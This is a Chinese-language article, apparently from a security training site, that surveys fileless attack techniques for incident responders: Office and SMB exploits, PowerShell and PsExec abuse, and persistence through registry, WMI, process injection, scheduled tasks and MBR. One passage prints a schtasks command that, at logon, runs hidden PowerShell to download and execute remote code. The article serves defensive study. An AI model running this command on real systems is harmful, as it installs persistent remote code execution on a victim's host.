0x01
很多应急响应行动中都会出现这样的场景:客户主机出现CPU占用率很高或有连接C&C服务器的可疑现象,但是使用杀软查杀却没有发现磁盘上有恶意文件。这其实就是无文件攻击。 “无文件攻击”这个名词伴随“APT攻击”的慢慢火热而进入了人们的视野。APT的特点是不易被安全检测引擎所发现,当中的功劳很大程度都是归“无文件攻击”所有。 因为无文件攻击无需落地到目标的磁盘,因此反病毒引擎一般很难检测到,即使通过检测内存来试图追踪内存中的“无文件攻击”,但往往只能采用白名单等笨方法,但攻击者利用内存滞留技术往往能把杀毒软件耍得团团转。
但是“无文件攻击”这一术语往往会让人产生歧义,比如无文件攻击就代表真的没有攻击文件吗?其实“无文件攻击”只是一种攻击策略,其出发点就是避免将恶意文件放在磁盘上,以逃避安全检测。 现在安全产品的一大挑战就是给出无文件攻击的防御方案。未知攻,焉知防?本篇文章就来分析已知的无文件攻击方式。
0x02
无文件攻击方式分为三大类:漏洞型攻击、灰色工具型攻击、潜伏型攻击,这几类攻击不是独立,有时候会在同一个攻击场景中出现,如用户打开了一个恶意office文档,这个文档通过漏洞直接执行了powershell脚本进行木马植入,最后通过写入注册表实现持久化潜伏。
0x03
漏洞型攻击 漏洞型攻击是杀伤力最大的无文件攻击方式,典型的漏洞有Office漏洞、SMB漏洞、以及各种WEB服务的漏洞,当目标主机存在漏洞时,病毒可以通过漏洞直接执行恶意命令攻击主机或将自己复制到主机实现扩散。漏洞型攻击行为隐蔽,且一般不会释放文件到本地,所以使用杀软几乎无法防御。 1. office漏洞 office是一个较为普遍的漏洞,常被用于APT攻击。黑客一般会给特定的目标用户发送精心设计的Office文档,此文档包含可以通过漏洞触发的恶意代码,当用户使用存在漏洞的Offic打开它时,office就会自动执行恶意代码,达到入侵的目的。 MsOffice.doc病毒,MsOffice.doc文档格式为rtf,为一个CVE-2017-0199的漏洞利用样本。将MsOffice.doc文档中的ole对象提取出来后,可以看到其指向的恶意链接为http://[xxxx].com/[xxxx]/1,如下图
恶意链接1文件对应着一个vbscript脚本,脚本内容如下
该vbs功能是执行一段powershell加密代码实现信息窃取。只要用户不小心打开了恶意文档,存在漏洞的Office就会自动读取远程的恶意vbs代码并执行恶意操作。由于用户点击文档后的所有攻击过程均无落地文件,所以杀软难以检测。
2. smb漏洞 SMB是windows系统自启动的通信服务,一旦它存在漏洞,那么几乎所有的windows主机都会受到风险。 勒索病毒、挖矿病毒已经存在已久了,但为什么WannaCry、WannaMine影响那么大?就是因为它们使用了SMB漏洞进行传播,可以将自身复制到内网中的所有漏洞主机上,实现大规模的感染。如下图红色框是漏洞利用环节,病毒通过此漏洞可以进行远程攻击。
3. web服务漏洞
诸如SQLServer、Nginx、Apache、IIS等WEB服务程序都被挖出过大型的缓冲区溢出漏洞,病毒可以通过这些漏洞实现远程命令执行,由于这些服务大都暴露在公网上,所以一旦漏洞被爆出,大范围的主机将受到风险。
SQL Slammer是2003年爆发的一种病毒,其利用SQLSERVER 2000解析端口1434缓冲区溢出漏洞对其服务进行攻击。SQLSlammer也被称为“蓝宝石”(Sapphire),2003年1月25日首次出现。它是一个非同寻常的蠕虫病毒,给互联网的流量造成了显而易见的负面影响。有意思的是,它的目标并非终端计算机用户,而是服务器。它是一个单包的、长度为376字节的蠕虫病毒,它随机产生IP地址,并向这些IP地址发送自身。如果某个IP地址恰好是一台运行着未打补丁的微软SQL服务器桌面引擎(SQLServer Desktop Engine)软件的计算机,它也会迅速复制病毒到随机IP地址的主机。
0x04灰色工具型攻击
灰色工具是指那些可以被用来执行恶意代码的合法工具,如:Powershell、PsExec等,病毒可以使用这些工具来间接执行恶意代码。由于IT管理员日常工作中都会使用这些合法工具来辅助管理系统、网络,所以杀软对这类攻击的检测也极具挑战性。
1. Powershell powershell属于系统工具,在杀软的白名单中,要查杀只能检测其执行的脚本代码,但因为powershell支持各种混淆,所以对其进行检测也极为困难。 如下是powershellMiner病毒,由于它没有病毒文件,而是直接执行powerhsell挖矿代码,行为极其隐蔽,杀软基本查杀不出来。
如上图,病毒直接使用powershell.exe进行挖矿,CPU占用率达到87%,其脚本功能是从wmi类中读取挖矿代码并执行。
2. Psexec
PsExec也是windows的系统工具,经常被IT管理员用于远程管理内网主机。但PsExec也有可能会被病毒利用,如下是SOREBRECT病毒,只要SOREBRECT获取了远程主机的管理员密码,就可以使用PsExec远程执行命令,然后将恶意代码注入到svchost.exe中执行。PsExec.exe虽不是系统自带工具,但在windows官网上可以下载,也存在于杀入的白名单中。
0x05潜伏性攻击
为了让病毒母体被删除后以及每次开机后还能继续执行恶意代码,持久化潜伏成为一种常见的无文件攻击方式。通过将恶意代码存储在注册表、WMI、系统进程(进程注入)、MBR、定时任务等地方,可以让恶意代码隐蔽地自动执行。
1). 注册表
注册表中包含许多敏感表项,如HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,只要将病毒的路径或恶意的脚本存储到这里,系统每次开机都会执行这些病毒和恶意脚本,Poweliks就是使用注册表来进行持久化攻击的代表。
poweliks病毒将恶意代码放在HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,这样每次系统每次开机都会自动执行恶意代码。
2. Wmi
WMI以本地和远程方式提供了许多管理功能,包括查询系统信息、启动和停止进程以及设置条件触发器。管理员可以使用各种工具(比如Windows的WMI命令行工具wmic.exe)或者脚本编程语言(如PowerShell)提供的API接口来访问WMI。这样一个强大的工具自然会被黑客所盯上,著名的无文件攻击病毒POSHSPY就使用WMI来存储及定时执行恶意代码。以下是此病毒使用的一个触发器,意思是每周一、周二、周四、周五以及周六的当地时间上午11:33执行一次恶意脚本。
恶意脚本是一段powershell脚本,执行的恶意代码也是存储在WMI类中,
3. 进程注入
进程注入技术很久以前就被病毒所利用了,病毒运行后一般会将恶意代码注入到系统进程中,然后将自身删除,达到隐藏的效果,如下图是一个新型的挖矿病毒wmixml,它通过将挖矿代码注入到svchost.exe中实现挖矿,我们可以看到svchost.exe的CPU占用率极高,高达25%。
通过逆向分析wmixml病毒,发现它依次调用了VirtualAllocEx、WriteProcessMemory、ResumeThread来实现注入。
4. 定时任务
定时任务是一个实用的工具,比如我们想实现每隔一段时间进行下文件备份、日志记录等等,就可以使用到定时任务,然而,若病毒执行了以下命令,那么就会带来恶意的操作,这段代码是只要用户一登录就调用powershell执行网上的恶意代码:
schtasks/create /tn Trojan /tr “powershell.exe -WindowStyle hidden -NoLogo-NonInteractive -ep bypass -nop -c ‘IEX ((new-objectnet.webclient).downloadstring(‘’[REMOVED]’’))’” /scONLOGON /ru System
定时任务还常被病毒用来绕过UAC。
5. Mbr
MBR是系统引导程序,对系统的启动很关键,试想,若病毒隐藏恶意代码于在MBR中,就可以实现先于系统加载,绕过杀软的效果。Petya病毒是继WannaCry后的又一大勒索病毒,它比WannaCry更狠,将文件加密后,还把一段恶意代码写入MBR以实现持久化攻击,使得主机开机后无法正常启动系统,而是直接显示勒索提示框。
通过逆向分析Petya,可以看到其将恶意代码写入MBR操作。
相关操作学习
基于BinWalk实现文件读取:详细讲解CTF竞赛中磁盘取证分析类题目的结题方法,覆盖文件提取、已删文件恢复、文件数据修复、隐写信息提取等基本知识点。点击前往 合天网安实验室,开始操作!